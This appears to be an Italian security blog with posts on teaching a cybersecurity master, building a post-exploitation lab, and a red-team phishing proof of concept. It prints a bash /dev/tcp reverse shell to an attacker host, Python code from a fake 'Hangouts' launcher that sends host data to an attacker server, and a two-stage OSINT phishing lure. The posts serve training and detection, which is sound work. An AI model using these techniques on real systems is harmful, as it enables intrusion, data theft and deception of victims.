cyber security

Master CyberSecurity e Data Protection: riflessioni ed approfondimenti

Lo scorso 26 febbraio ho avuto il piacere dedicare una giornata per una docenza all’interno del Master curato da 24 ore Business School: Executive Master Cybersecurity e Data Protection. Tanti argomenti, quelli discussi nella preparazione del programma, da addensare in sei intense ore dove si sono condivise informazioni ma anche molta esperienza tramite casi di studio e laboratori pratici.

Appena chiusa la lezione mi è immediatamente venuta voglia di scrivere in merito, in parte per “digerire” l’esperienza della docenza, sempre più frequente negli ultimi anni e sempre ricca di emozioni, in parte per ripercorrere gli argomenti che a causa del tempo non ho potuto approfondire. Come ho scritto in un post qualche giorno fa quando ho preparato la sessione ho dovuto necessariamente selezionare gli argomenti da presentare, vorrei quindi provare ad approfondire parte dei contenuti arricchendo ovviamente con dei laboratori pratici che siano di comune utilità. In questo post provo a fare un elenco degli approfondimenti che mi piacerebbe affrontare e nei prossimo giorni, dal mio canale Twitch, inizieremo a discuterli assieme.

OSInt e strumenti

E’ un argomento che appassiona sempre ed ho notato un forte interesse per due specifici strumenti con cui abbiamo un po’ giocato: Shodan e Maltego. Proverei quindi ad approfondire l’utilizzo degli strumenti in se e nel caso di Shodan riprendo un tema di cui avevo parlato in un podcast: la possibilità di utilizzare la piattaforma per automatizzare alcune ricerche. Ci vedo bene un piccolo lab per con un po’ di python.

Analisi e gestione delle vulnerabilità

Argomento troppo vasto. Cosa sia una vulnerabilità è più o meno cosa nota, comprenderla è un altro paio di maniche. L’approfondimento che vorrei fare in questo caso è più di gestione che di operatività. A fare una scansione – permettetemi – son buoni tutti, strutturare e governare un Remediation Plan che abbia un senso è un lavoro un po’ diverso. Parliamo di questo, dobbiamo imparare a gestirla questa “sicurezza cibernetica”.

In questa occasione ha sicuramente senso parlare degli elementi che consentono ad un analista di comprendere gli effetti di una vulnerabilità in un determinato contesto. Il concetto che vorrei quindi analizzare è quello del rischio.

Reverse Shell e C2

Temi che hanno appassionato i più tecnici ma che richiedevano un laboratorio dedicato… e così li approcceremo. Preparerò due laboratori per costruire assieme uno scenario di attacco che preveda l’impiego di una Reverse Shell e di un server di controllo.


Probabilmente ho definito gli argomenti per il prossimo mese di live ma se chi dovesse passare per questa pagina ha qualche ulteriore argomento da proporre sono ovviamente ben lieto di considerarlo.

Prima di chiudere (anche perché qui sono le 02:31 a.m.) due parole sull’esperienza in se. Non possono definirmi un docente, non è il mio ruolo, ma sono convinto che chi ha maturato esperienza in un campo (tanta o poca, non importa) debba in qualche misura condividere qualcosa con il resto della comunità. Che sia sotto forma di pubblicazione, di una docenza, di una intervista… va bene tutto. Il punto è condividere l’esperienza oltre che la conoscenza.

cyber security, hacking

Lab setup per post-exploiting: scenario base

Un post dedicato alla preparazione di un lab destinato ad esercitazioni di attacco e difesa. In realtà si tratta di una versione rivisitata di un lab che avevo implementato a fine 2021 con Andrea Dainese per delle sessioni cyber range di addestramento di un Red Team (esperienza molto interessante tra l’altro). In questa versione del lab conto di aggiungere, con il tempo, qualche elemento in più.

Il lab è di per se uno strumento che in questo caso verrà utilizzato per sessioni dimostrative di attacco in diversi contesti. Con 24 Ore Business School ho in programma delle sessioni specifiche all’interno di un master in Cyber Security e per l’occasione ho voluto preparare delle sessioni dove si possa vedere qualcosa di reale seppur in ambiente “controllato”. Se all’interno del master la scelta degli argomenti è giustamente definita dal programma, sulle mie play-session Twitch c’è spazio per la sperimentazione. In questo periodo mi piace particolarmente giocare con le reverse shell e le azioni di post-exploitation, quindi in questo lab andrò a predisporre elementi vulnerabili in varia forma al fine di provare diverse tecniche di attacco e sperimentare strumenti di detection.

Nello scenario base andiamo ad installare:

  • Un firewall di perimetro con tre network interfaces (WAN, LAN, DMZ)
  • Una VM con sistema operativo Windows Server
  • Una VM con sistema operativo Ubuntu Linux Server
  • Una VM con sistema operativo Windows (client)
  • Una VM d’appoggio per l’attacker (la solita kali alla portata di tutti)

Lo schema finale assomiglia a qualcosa del genere:

lab schema

Per semplicità in questo scenario il firewall è basato su un glorioso pfsense che avrà ovviamente una interfaccia WAN esposta in rete pubblica (per accesso ad internet e NAT), una interfaccia per la DMZ ed una interfaccia per la rete LAN. Nella play-session in preparazione lo scenario coinvolgerà i sistemi in DMZ in quanto vi saranno dei servizi esposti con delle vulnerabilità anche gravi (es: RCE).

Partiamo quindi proprio dai sistemi server ed in particolare dalla VM Ubuntu Linux su cui predisponiamo un set di container appositamente implementati con software vulnerabile: https://github.com/vulhub/vulhub. Sul sistema (target-01 nel mio schema) va quindi installato un po’ di software base:

$ sudo apt-get install python3-pip
...
$ sudo apt-get install docker docker-compose
...

Fatto questo si può procedere con il download del progetto vulnhub:

$ wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
$ unzip vulhub-master.zip 

Ora abbiamo sulla macchina una certa abbondanza di software con cui giocare per provare diverse tipologie di exploit. Il primo scenario a cui dedicare la sessione live del 17 febbraio riguarda la possibilità di guadagnare una reverse shell su uno dei sistemi target partendo da una semplice sessione tcp via netcat.

A prescindere dal software che utilizzeremo come target per la simulazione l’obiettivo è quindi eseguire sul server vittima un comando netcat per aprire una sessione verso la macchina controllata dall’attacker ed adoperarsi per mantenere il link stabilmente attivo. In riferimento allo schema condiviso avremo quindi sulla macchina dell’attacker un netcat in listen pronto a ricevere la sessione dalla macchine vittima…

$ nc -vv -l -p 1337

…e sul sistema target faremo in modo di aprire una sessione verso la macchina dell’attacker con una shell pronta a ricevere i comandi da remoto. Per esempio:

$ sleep 3s && nohup bash -i >/dev/tcp/{R_HOST}/1337 0<&1 2>&1

In questo scenario, potendo il sistema target accedere alla rete internet attraverso il firewall, otterremo che la macchina compromessa sarà governabile da remoto grazie ad una sessione che ha origine dall’interno della rete verso l’esterno.

TODO per la sessione live (tempo permettendo):

  • setup del lab – ovviamente – e panoramica dei sistemi
  • test con la reverse shell sulla macchina target
  • test di exploiting di un sistema vulnerabile per esecuzione reverse shell
  • test di detection: verifica log firewall e test con XDR

Ovviamente la sessione è puramente dimostrativa e l’obiettivo è toccare con mano temi ben noti agli addetti ai lavori ma forse meno frequentati da chi si occupa prettamente di gestione operativa dei sistemi.

Il principio alla base di questi contenuti resta quello della consapevolezza: se capiamo come funzionano gli attacchi informatici avremo più strumenti per comprendere come prevenirli e, in caso di incident, come gestirli.

cyber security, hacking

Social Engineering e Phishing (play session)

Ho avuto l’occasione di discutere assieme al mio red team la realizzazione di una campagna di phishing per la quale abbiamo potuto ragionare senza particolari vincoli. Approfittando delle nuove giovani menti recentemente unitesi al gruppo ho pensato di giocare con diverse tecniche per costruire una campagna con obiettivi differenti rispetto alle classiche azioni di tracciamento. In questo post condivido le idee e la p-o-c della campagna.

Cosa sia il phishing ovviamente lo sanno anche i sassi, è quindi particolarmente interessante osservare quanto sia ancora una tecnica efficace anche quando interessa organizzazioni strutturate. Osservare e misurare il comportamento delle “vittime” di phishing permette di individuare quali siano alcuni dei pattern di comportamento più frequenti. Noto ad esempio come campagne che utilizzano informazioni reali, in riferimento ad eventi o dati che l’attacker ha individuato, registrino un tasso di successo sensibilmente più alto. Diventa quindi assolutamente sensato predisporre simulazioni, in un contesto di security assessment concordato, basate su informazioni reali pattuite con il target o – meglio ancora – individuate tramite specifiche ricerche (OSInt).

Per la campagna descritta in questo lab abbiamo deciso di sviluppare due fasi: nella prima fase l’attacker cerca di instaurare un dialogo con il target per poi inviare, in una seconda comunicazione, un malware camuffato da software lecito.

Le cyberweapons sono quindi due: la stessa comunicazione via email (dotata di un elemento di tracciamento che non è oggetto di questo post) ed il finto malware costruito appositamente per raccogliere informazioni sul sistema vittima. Ovviamente l’attacker deve disporre di un host d’appoggio per farsi inviare le informazioni che intende carpire. Per “giocare” con questa tecnica iniziamo proprio da questo elemento: l’host controllato dall’attacker.

Per strutturare un lab minimo basta avere una macchina linux con un server di pubblicazione, per questo scenario usiamo un semplicissimo LAMP. Diamoci un obiettivo semplice per partire: il finto malware si limiterà a mandarci tre dati via http: la versione del sistema operativo della vittima, l’hostname e l’indirizzo IP locale. Il server deve quindi limitarsi a raccogliere questi dati e registrarli in un file. Il server che raccoglierà i dati deve quindi avere a bordo un semplice script (in questo lab uso PHP) che riceva le informazioni e le scriva in un log file. Qualcosa di simile a questo:

https://github.com/roccosicilia/sToolz/blob/master/Phishing/attachments/logme.php

Nella repo di GitHub il file completo “logme.php” consente di gestire un paio di condizioni ma la base è invariata. Per eseguire una prova è sufficiente posizionare il file nella Document Root del vostro web server ed accedervi via browser valorizzando opportunamente le variabili in URL.

Test dello script via browser

Preparato il sistema per raccogliere i dati passiamo alla piccola trappola che abbiamo pensato: un semplice eseguibile che chieda le informazioni al sistema vittima e le invii al web server con una semplice http request. Ovviamente non si tratta di un malware in senso stretto per diversi motivi: innanzi tutto è assolutamente innocuo al di la del raccogliere dei dati specifici dal client target, inoltre è assolutamente “stupido” non presentando nessuna tipica caratteristica di camuffamento. Di fatto è un banale script che chiede tre dati e li invia ad un web server.

Per l’occasione lo script viene compilato e gli viene data l’apparenza di file lecito: nel lab, il cui codice è disponibile qui, viene utilizzata l’icona di Hangouts e vengono definite alcune proprietà del file. Gli elementi principali sono ovviamente le chiamate al sistema target:

### platform info
os_ver = platform.platform()

### hostname
hostname = socket.gethostname()

### netinfo
local_ip = socket.gethostbyname(str(hostname))

Nello script disponibile su GitHub ci sono un paio di alternative commentate per provare diverse modalità di raccolta delle informazioni. I dati vengono poi spediti al web server con una semplice requests al già predisposto script logme.php:

url = "{}/logme.php?os_ver={}&hostname={}&local_ip={}".format(target_url, os_ver, hostname, local_ip)
req = requests.get(url)

Il log registrato potrebbe assomigliare a questo:

Tutti gli elementi per il test sono pronti, manca l’innesco che nel caso specifico è costituito da una prima email per creare la “relazione”: in questa campagna abbiamo infatti pensato di inviare una prima comunicazione assolutamente pulita da un indirizzo email creato appositamente senza utilizzare tecniche di spoofing relativamente semplici da intercettare. Ovviamente una comunicazione di questo tipo ha bisogno di altri elementi per attrarre il target, in questo caso abbiamo utilizzato informazioni ricavate dall’analisi OSInt per invitare gli interlocutori ad un meet su un tema di sviluppo aziendale per il quale il White Hat ha ipotizzato un forte interesse da parte del target.

Una comunicazione così formattata non attiva – di solito – nessun sistema di controllo: niente spoofing, niente link sospetti, nessun contenuto pericoloso. Puro engage. In questo scenario le potenziali vittime sono coloro che rispondono al tentativo di engage: si è potenzialmente creato un dialogo, il canale è quindi aperto.

Di fatto abbiamo utilizzato una tecnica di Social Engineering per aprire un canale diretto con delle potenziali vittime. Saranno queste il target dell’attacco di phishing a cui inviare l’invito al meet con la richiesta di scaricare il “launcher” per accedere alla conferenza. Nell’ambito del Social Engineering esistono diverse tecniche di engage che fanno leva sulle abitudini delle vittime e sulla costruzione di uno scenario realistico. Per questo motivo gli attacchi mirati che partono con una banalissima email ben strutturata, con informazioni contestualizzate e con riferimenti a fatti o dati reali, tendono a funzionare molto bene; una volta costruita la relazione con il target è relativamente facile indurlo a scaricare contenuti potenzialmente pericolosi sulla propria workstation al fine di installare un malware o, come nel caso dell’esempio, prelevare informazioni dal sistema vittima.

Ho notato come le campagne mirate tendono a “scremare” il numero delle potenziali vittime: l’approccio in due fasi porta a ridurre di molto il numero dei potenziali target all’interno dell’organizzazione. Contestualmente si ottiene un target molto più “qualificato”.

In definitiva l’attacco si concretizza nel portare la vittima a scaricare il malware per eseguirlo sulla propria workstation:

So a cosa state pensando: “va bhe, ma l’anti-malware blocca una schifezza del genere”. Quasi 🙂

Dovremmo aprire un capitolo enorme su come funzionano gli anti-malware tradizionali rispetto ai più recenti EDR / XDR e tutto quello che riterrete opportuno installare sui vostri End Point. Abbiamo fatto ovviamente alcuni test ed in generale possiamo affermare che un eseguibile “ignorante” come quello proposto in questo piccolo lab viene rilevato nella quasi totalità dei casi dagli EDR / XDR quando si tenta l’esecuzione sulla macchina vittima, gli alti-malware tradizionali fanno decisamente più fatica: nelle prove il file non viene mai rilevato come malevolo in fase di scansione e se eseguito in alcuni casi è scattato il blocco della chiamata http in uscita ma il processo locale è stato eseguito.

I log presentati nell’ultimo screen vengono da sistemi con anti-malware tradizionali tranne uno specifico caso (il penultimo) ove era attivo un EDR in configurazione di default. Questa ultima informazione lascia spazio per un altro tema immenso: la configurazione degli EDR/XDR. E’ banale dirsi che le conf. di default non dovrebbero mai essere usate in produzione, dobbiamo fare i conti con il “mondo vero” dove sono largamente utilizzate esponendo i sistemi a minacce anche banalissime.

Conclusioni

Le note che condivido sono semplici e sostanziali:

  • non sottovalutare il fattore umano… considerazione banale ma visti gli esiti delle campagne di phishing è evidente che ancora non ci siamo
  • la tecnologia è uno strumento potente se lo usate correttamente, in caso contrario si ottiene solo un falso senso di sicurezza